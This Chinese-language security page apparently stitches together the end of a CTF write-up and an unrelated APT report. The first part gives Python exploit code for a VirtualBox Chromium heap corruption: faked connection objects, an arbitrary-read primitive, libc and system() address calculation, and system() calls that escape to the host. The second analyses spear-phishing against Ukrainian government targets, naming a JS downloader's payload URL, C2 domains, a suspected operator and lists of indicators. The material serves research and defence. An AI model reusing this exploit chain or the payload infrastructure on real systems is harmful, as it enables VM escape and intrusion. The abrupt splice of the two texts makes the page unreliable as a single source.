try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

需要注意的是,spray_len + 0x10表示偏移量,我们再次跳过块头部的0x10字节。在执行此操作后,我们可以修改CRConnection对象的内容。如前所述,这最终使我们能够使用任意读取原语,并允许我们通过替换Free()函数指针来调用任何我们想要的内容。

4.7 任意读取原语

发出SHCRGL_GUEST_FN_READ命令时,pHostBuffer中的数据将被发送回Guest。使用我们的自定义0x13371337 ID,我们可以使用自定义的指针覆盖此指针及其相应的大小。然后,我们使用self.client2客户端发送SHCRGL_GUEST_FN_READ消息来触发我们的任意读取(这是泄漏的CRConnection的客户端ID):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

4.8 任意代码执行

在每个CRConnection对象中,都存在函数指针Alloc()、Free()等,负责存储Guest虚拟机的消息缓冲区。此外,它们将CRConnection对象自身作为第一个参数。对我们来说,这是非常完美的,因为它可以用来启动ROP链,或者简单地用任意命令调用system()。

为此,我们需要在偏移量OFFSET_CONN_FREE的位置覆盖指针,并在偏移量0处覆盖我们所需参数的内容,如下所示:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效消息即可。

4.9 寻找system()

我们已经知道一个地址,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包含libc的其他存根(Stub)。因此,我们可以很容易地计算出system()的地址。

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
 
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
 
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
 
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
 
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

4.10 夺取旗帜

现在,我们离夺取旗帜只有一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以通过任何文本编辑器或终端打开文件,以查看其内容。在挑战的过程中,我们可以直接“看到”旗帜,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上迅速搜索后,我们找到了文本编辑器Mousepad。

在第一次提交期间,还发生了一个小问题,就是系统发生了崩溃。我很快就意识到,我们不能使用超过16个字节的字符串,因为一些指针位于这一偏移处,如果使用无效内容覆盖它,将会导致段错误(Segmentation Fault)。

为此,我使用了一些技巧,并将文件路径缩短了两次,这样就可以用较少的字符实现打开操作:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

1.gif

不错,在进行了4-5小时的研究之后,我终于夺取了旗帜,并很高兴能成为第一个解决这一挑战的人。几个小时后,Tea Delivers团队也成功利用了这个很酷的漏洞,恭喜他们。

五、总结

如果我们之前一直在使用这一虚拟机,那么这个挑战并不是很难解决。据我所知,通过建立一个更好的Heap Constellation,我们可以直接溢出到CRConnection对象,并修改cbHostBuffer字段,最终启用越界读取原语,从而在不利用任何漏洞的情况下解决这一挑战。然而,在压力和兴奋的双重作用下,我选择了额外的漏洞来解决这一问题。尽管如此,这一过程还是非常有趣。尽管Chromium中存在许多信息泄漏漏洞,几乎每个Opcode都可能会泄漏栈或堆信息,但内存损坏漏洞还是比较稀缺的,因此我非常开心能发现这一问题。

最后一点,也是比较重要的一点,我在掌握代码中存在漏洞的情况之后,就很容易识别问题。实际上,尽管我一直在进行研究,但我最开始却认为它是无法被利用的。因此,我们要以乐观积极的心态来看待代码,如果我们相信任何代码中可能存在问题,就要坚信最终一定能够发现它们。不要气馁,也不要抱有“如果有漏洞,那么其他人肯定早就发现了”这样的心态。

感谢大家的阅读!

六、致谢

感谢Niklasb针对此问题的先前研究,以及设置的挑战题目。

前言

石楠花开前,小河西村检测到多起针对乌克兰国防和经济部门的攻击事件。在短暂的分析之后,我们惊讶地发现这是一起持续且大规模的网络间谍活动,乌克兰是主要的受害国。

在早起的公开报告中Palo Alto和ESET分别在2018年1月和7月对其进行揭露,小河西村编写本文前两天,FireEye再次揭露一起网络钓鱼活动。我们想各家报告或多或少存在重叠、不尽人意的地方。

由于各种原因,小河西村在惊叹之余一拖再拖,重新提笔亦是行文仓促。为了避免误导,我们力争对以下全部样本进行人工判读,小心求证之后,也对无法笃定的事件本身进行大胆假设。令人鼓舞的是,FireEye的核心观点与关键证据多与小河西村不谋而合,经过劳作,最终行文于此。《维摩诘经》有云:“有所饶益,欢喜无悔”。

map2.png

我们认同FireEye的观点,小河西村同样认为攻击来源可能来自卢甘斯克或其相同、相邻时区的政治、经济关切实体。攻击活动最早可以追溯到2014年底或2015年初。该组织最近异常活跃,除了国防,证据显示乌克兰经济部门同样遭到该组织攻击。团伙成员使用俄、乌两种语言,活动范围在UTC +2到UTC +3时区。

该团伙以鱼叉钓鱼邮件为主,针对政府部门特定人员定向投递,在多起邮件攻击中,他们自称来自合作伙伴或内部人员,要求收件人员阅读附件内容。这些诱饵包括:行政文件、人员名单、货物清单等等。附件多以压缩文件进行投递,包括lzh、zip、rar等,攻击载荷多以lnk、js、exe和scr为主。该组织成员注册了大量域名用于RAT的下载和C2服务。

虽然根据诱饵内容和收件人地址明确判定为定向投递,仍然让小河西村惊讶的是如此长时间、大规模、高频次的鱼叉钓鱼会有多少成功率?乌克兰政府有没有投入足够的安全设施以及开展安全意识培训?除了一本正经的胡说八道我们也可以聊聊八卦、带上小板凳吃瓜、脑补入侵现场。

开始调查

此处我们以近期该组织针对乌克兰某国防部门的一封鱼叉钓鱼邮件进行切入,收件日期是2019年3月19日(UTC +2)。邮件内容大概是说需要支付某项商品的费用。正文醒目地标识出来这封邮件已经使用最新版本的ESET NOD32进行扫描,没有发现威胁。

eml.png

邮件附件是一个名为<задолжность 910 грн рахунок за 19.03.2019р..lzh>的压缩文件。其中包含一份作为欺骗诱饵的xlsx文档和一份用于攻击的js脚本。

att_deCom.png

这个js脚本经过相当程度的混淆,其主要的功能是访问http://gravironallc.icu/priceuweb/price.exe下载RAT。

js.png

在我们获样时,域名gravironallc.icu成功解析到IP地址62.173.138.211。

dns.png

price.exe包含PDB路径C:\Magalhae\Release\Store.pdb。

pdb.png

对price.exe进行分析之后,小河西村认定这是新版的SmokeBot Loader。根据样本回溯,在2018年中旬,该组织以及启用SmokeBot Loader。这款木马的执行流程非常复杂。首先在内存中解密一片shellcode,该shellcode经过严重的混淆和乱序,样本通过动态方法获取api函数地址,检查虚拟机环境,校验特定的键盘布局之后,解压一段代码并将其注入到explorer进程当中。

100.png

在注入的explorer进程中,样本首先会开启两个线程进行反调试,然后解密字符串,并且通过获取的计算机名、用户名、磁盘序列号等信息通过计算生成互斥提名称以及拷贝自身用作持久化功能的木马名称。创建lnk放入Startup路径,并且创建计划任务。利用控制台启动自身拷贝。连接C2接收指令等等。

200.png

在我们分析这例SmokeBot Loader连接的C2服务器地址是:anotherblock.bit和aviatorssm.bit。

300.png

Double Kill

在小河西村的调查中我们发现除了以js作为载体外,该组织同样利用lnk(fackDoc)和exe(fackRar)作为下载者进行攻击。再以近期一封邮件为例。

eml2.png

在该组织的攻击惯例中,js包含在lzh文件中。而lnk和exe通常在rar和zip文件中,且同时存在,它们的主要功能都是下载和执行下一阶段的payload。lnk包含在一堆钓鱼文档之中。它们访问的url同为:sinoptik.website/fNXIjoKp

fackDOC2.png

查看lnk文件属性可以清楚地看到该快捷方式调用powershell执行下载操作。

fackDOC.png

为了隐藏和欺骗,该exe伪装成rar压缩包。

fackRAR.png

一旦收件人不小心执行起来,该下载者木马会下载下一阶段木马。

fackRAR_PE.png

并且向受害者显示”Архив имеет неподдерживаемый формат или поврежден!”(不支持的文档格式或已损坏)。

fackRAR_SHOW.png

人设坍塌

主动溯源方面,我们从已知的发件人邮箱进行分析,在使用邮箱进行关联没有明显线索的情况下,转向木马下载地址sinoptik.website。最初的想法是从开源情报、whois信息以及PDNS建立画像。幸运地是,我们看到OptiData关联的一批恶意域名,直接加快了我们的调查进度。

opti.png

在这些信息中,我们获取到Palo Alto和ESET的公开报告,掌握了历史攻击背景。针对手中其它相关钓鱼邮件进行分析之后,我们通过攻击意图、攻击手法、代码特征、网络基础设施重叠、历史PDNS解析、SOA记录等等关键信息,找到最薄弱的突破口,疑似该组织某成员的电子邮箱:[email protected]

根据掌握的关联域名,多个域名的whois信息直指名为Raisa Chilikina的域名所有人,注册人联系邮箱为:[email protected]

whois.png

根据历史PDNS记录,OptiData和FireEye列举出来的关联域名已经远远超过小河西村掌握的资料。为什么认定[email protected]是组织成员?我们通过交叉关联配合意图、特征以及历史攻击活动可以很快锁定嫌疑人。

例如:

cdn1186.site于2018年10月25日首次解析IP地址为94.158.34.2

rst.website于2019年2月11日首次解析IP地址为94.158.34.2

olx.website于2019年3月29日首次解析IP地址为94.158.34.2

censor.website于2018年06月01日首次解析IP地址为94.158.34.2

还有:

cnd1186.site于2019年2月7日首次解析IP地址为88.85.86.229

1ua.eu于2019年2月25日首次解析IP地址为88.85.86.229

uatoday.website于2018年12月13日首次解析IP地址为88.85.86.229

ukrnews.website于2018年12月03日首次解析IP地址为88.85.86.229

还有同时间段同ASN域等等交叉信息,本次我们不做可视化展示。

根据检索,我们在2015年初一段有关“卢甘斯克”的政治话题讨论中看到该关键字。

who1.png

同样地,某社交媒体用户re2a1er1在2015年初留下唯一的黑客画像。其配图常常出现在”乌克兰、顿涅茨克、卢甘斯克、领土、军队、DPR、LPR”相关的俄、乌语言新闻中。

who.png

经过比对,图片出处可能来自顿巴斯战争。

i.png

攻击频度

统计显示该组织的攻击活动持续活跃,最近三月持续对外输出钓鱼邮件。(ps.其它维度的统计懒得写了)

date.png

番外篇

本来准备在番外一聊聊re2a1er1是一位勤劳的矿主,讲讲区块链的故事。由于小编没有完成美美的数据可视化配图,实在没有心思编故事。我们来讲番外二:如此长时间、大规模、高频次的鱼叉钓鱼你烦不烦?

除了杀软大厂对该组织活动进行报道意外。小河西村关注到恶意代码论坛、在线沙箱上存在不少该组织的恶意代码样本。也检索到乌克兰本地安全厂商出具的样本分析报告。

a1.png

我们也看到政府内部用户发转发给CERT-UA的邮件,大概意思是财政部的同事收到了一封携带附件的陌生邮件,请求对附件进行检查。

a2.png

更多地,我们也看到针对乌克兰某国防部门进行攻击的钓鱼邮件详细分析的内部报告,在此不再一一截图。鉴于此,不玩点儿新鲜花样也没什么意思。

b1.png

总结

总地来讲,从攻击目标和攻击意图来说,这是一场APT攻击事件。深入了解背景后,这次事件与“领土”、“战争”等关键字紧密相连,有证据显示,对其目标也可能存在经济意图。

正如标题所示,此文仅仅做浅析,颇有不求甚解的精神,所以,非常多的维度小河西村只是做了不合格的开端,我会怪自己?不存在的。

参考资料

1.VERMIN: Quasar RAT and Custom Malware Used In Ukraine

2.QUASAR, SOBAKEN AND VERMIN: A deeper look into an ongoing espionage campaign

3.Spear Phishing Campaign Targets Ukraine Government and Military; Infrastructure Reveals Potential Link to So-Called Luhansk People’s Republic

IOCs

PDB

C:\Magalhae\Release\Store.pdb

C:\offload\F\Release\OSBench.pdb

C:\BBM\?Ce\Release\upkeep.pdb

C:\casts\La\Release\Check.pdb

C:\Donate\r\Release\brighter.pdb

DOMAIN & URL(ps.不全的自己去FireEye的报告看啊)

gravironallc.icu

anotherblock.bit

aviatorssm.bit

sinoptik.website

ingomanulic.icu

pomulaniop.icu

cdn1186.site

goodplacejeep.ru

cavanasipontum.ru

chubanomania.icu

districoperav.icu

varanasiclick.ru

musicaustriallc.ru

ceronamtinclube.icu

telemagistralinc.info

caretaselling.ru

umileniumkk.ru

unicferendocas.icu

madagascarfoment.ru

abitwindoc.ru

jeponautoparts.ru

xyz.xyz/exsf22

MD5

e45d8d675fbf6a9593b54259551f8125

cd687fa33fdcfef155ed8f03df193dff

e828d9018168911b202b4fd252900396

fe198e90813c5ee1cfd95edce5241e25

031fb73dc164b0e2fa07ce2fd000b873

15b9269d61f3e21a6990969f54a158d5

c456694448a5088e6b6a89c5c08f05bd

b901d40cbf7cc42ea0e079131b0b6d33

c959df3ea18341c1617661498dc7119a

00d2b07c23726209048cce5473cfffb3

e09df549d4df1b2be4c804f654f6079a

12a951212789ce1fa3a67d54f31d2f07

f0c9d851ab1adcc6999d17fbd6dd31cf

4eca377a1a58d3052b9339dd085266b4

62016358ece65e2400caa752f8701096

dcba902adeb89f2f2f6a69361c0b139f

ca535090ce4d370f257dcd13ecc7e5b3

0d1fb6aa62bc0e60d2e27863f6dd11cd

914dffe8271acbe4348c2c609df5faf1

df297e3a2635842ddbcb49b541956aa6

350fb5c7f75f00e3a2e9657d8452bd84

5f0a55f6d26559c0f4c0b0248ecc8bd7

804539a0bc5865b5af5ab825efa9878b

024e02705168667c380c1e48c42c6d9b

b3b91954d64937c0583346a49da1b607

428a2b5bda7a4eae72f09b53ba482359

ec0fb9d17ec77ad05f9a69879327e2f9

90ef3fa32f154dfa165fcd117a02c83a

8b413a866fec93aad403f6ee902a1f89

9dfbc09bc1610b800eca6306c0d8ea4a

5975c56bdff0c5d340ca87122a235827

5ba007548e9c68057587bfda90e13d4e

2044ae237eb17d8ed516ff2187c9e70c

a5300dc3e19f0f0b919de5cda4aeb71c

4b8aac0649c3a846c24f93dc670bb1ef

c094a5a5c8421defebf3626c089a1644

8fac2cebe3409cf6b02d025570f756b6

f75113a4768fc0943af2b393f3f806ba

66557b26f078f1cc0bb579507a86456d

49452e93ef87b0a55df0a71e46dc3988

34a673162a96c5bca2cd21fcface906f

5286cd70ff513b6496ff214150d8308f

f3591d95a5c9fe87bf7082a3053470e3

9ae4d540b95759fc29c181d04e337483

560fd62af66742529ab1970203306795

dbd464ecd6c8caa277482821d0798d92

4d99be821a2865899392248fac584e94

MD5 (ps.这部分仅作参考啊)

cd687fa33fdcfef155ed8f03df193dff

c094a5a5c8421defebf3626c089a1644

e96c12188fca0652c36d4d0acc5a72f5

a339f5b8ef18fb65db3b5d9d74e86a2d

7bba29efc7f06e9503744111cb007f32

cd20750ac50282a40f0f4c69fdb827fb

eed3b05a36948a63e591b5cc0ee36249

428a2b5bda7a4eae72f09b53ba482359

4454b74af9bb7c52965334a706ead4cf

54727999268b0db8fb0f1d8cfde57229

71e64237e53f95096710854badd1d348

3bf4cd4bd58909833d26d40cf1a37003

224d5b1f9eb9f004922fdc8a8a0aa809

f846d90ee34bf0ec70a7d25d5958c081

e09df549d4df1b2be4c804f654f6079a

24486b1bb40630e15f1ed2fbfcb93838

2298318aaafe1e2c13fdf25c87b79f22

3341fd59ccf5c9ba281515f0d64b3565

11af285c2cc20603ef79889bbf6c6ac3

a31ee1b959d804a560738aed872b6068

a31ee1b959d804a560738aed872b6068

92645bd4d8998ee8e73c8d894566ed43

12a951212789ce1fa3a67d54f31d2f07

3b4da5a384d363a13133162f16d9ff1c

c6750e292880aeac8b1893365ea355f6

7934e1f489f5479e3c45a52aadf382fa

67b75010b6eeb5670716763c53efa207

4eca377a1a58d3052b9339dd085266b4

72cc420335295d406fe6e80d79265250

b2e0a64ba6b41189cc664e67269b245f

eb3f27103f8ff6409e60bac03392833f

ac7da84782c6c674cd395c59153799ae

b4082807185f6952805b50f4cacb2481

b491de4da59e9b7ec31cd72bd2a7cd4b

7d6f4ee54efaf7a168779816d815a59b

dbba4d0f4aa3fd7ab63fd2cb3889ae57

fac4aedbbd0bfb8178542c1417819bde

*本文作者:小河西村安全研究所,转载请注明来自FreeBuf.COM